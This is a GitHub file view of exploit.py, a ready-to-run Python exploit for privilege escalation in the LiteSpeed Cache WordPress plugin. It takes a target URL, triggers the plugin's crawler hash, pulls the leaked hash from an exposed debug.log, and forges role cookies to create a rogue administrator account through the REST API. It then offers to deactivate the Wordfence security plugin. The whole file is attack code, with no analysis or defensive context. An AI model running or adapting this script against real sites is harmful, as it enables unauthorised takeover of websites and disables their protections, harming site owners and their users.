-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit.py
90 lines (73 loc) · 2.98 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import requests
import os
def trigger_hash_generation(target_url):
ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
params = {
"action": "async_litespeed",
"litespeed_type": "crawler"
}
response = requests.get(ajax_url, params=params)
if response.status_code == 200:
print("Hash generation triggered.")
else:
print(f"Failed to trigger hash generation: {response.status_code}")
def retrieve_correct_hash(target_url):
log_url = f"{target_url}/wp-content/debug.log"
response = requests.get(log_url)
if response.status_code == 200:
log_content = response.text
print("Retrieved debug log content.")
for line in log_content.splitlines():
if "hash not match" in line:
correct_hash = line.split(" != ")[-1].strip()
print(f"Correct hash found: {correct_hash}")
return correct_hash
else:
print("Failed to retrieve the debug log or debug log is not accessible.")
return None
def create_admin_user(target_url, correct_hash, admin_user_id=1):
payload = {
"username": "exploitadmin",
"password": "Secure*Pass123",
"email": "admin@exploit.com",
"roles": ["administrator"]
}
headers = {
"Accept": "*/*",
"User-Agent": "Mozilla/5.0",
"Cookie": f"litespeed_role={admin_user_id}; litespeed_hash={correct_hash}",
"Content-Type": "application/json"
}
response = requests.post(f"{target_url}/wp-json/wp/v2/users", json=payload, headers=headers)
if response.status_code == 201:
print("Admin user created successfully.")
else:
print(f"Failed to create admin user: {response.status_code}")
def deactivate_wordfence(target_url, correct_hash, admin_user_id=1):
payload = {
"action": "update-plugin",
"plugin": "wordfence/wordfence.php"
}
headers = {
"Accept": "*/*",
"User-Agent": "Mozilla/5.0",
"Cookie": f"litespeed_role={admin_user_id}; litespeed_hash={correct_hash}",
"Content-Type": "application/json"
}
response = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=payload, headers=headers)
if response.status_code == 200:
print("Wordfence deactivated successfully.")
else:
print(f"Failed to deactivate Wordfence: {response.status_code}")
target_url = input("Enter the target website URL (e.g., https://example.com): ").strip()
if not target_url.startswith("http://") and not target_url.startswith("https://"):
target_url = "http://" + target_url
trigger_hash_generation(target_url)
correct_hash = retrieve_correct_hash(target_url)
if correct_hash:
create_admin_user(target_url, correct_hash)
deactivate = input("Do you want to deactivate Wordfence? (yes/no): ").strip().lower()
if deactivate == "yes":
deactivate_wordfence(target_url, correct_hash)
else:
print("Wordfence was not deactivated.")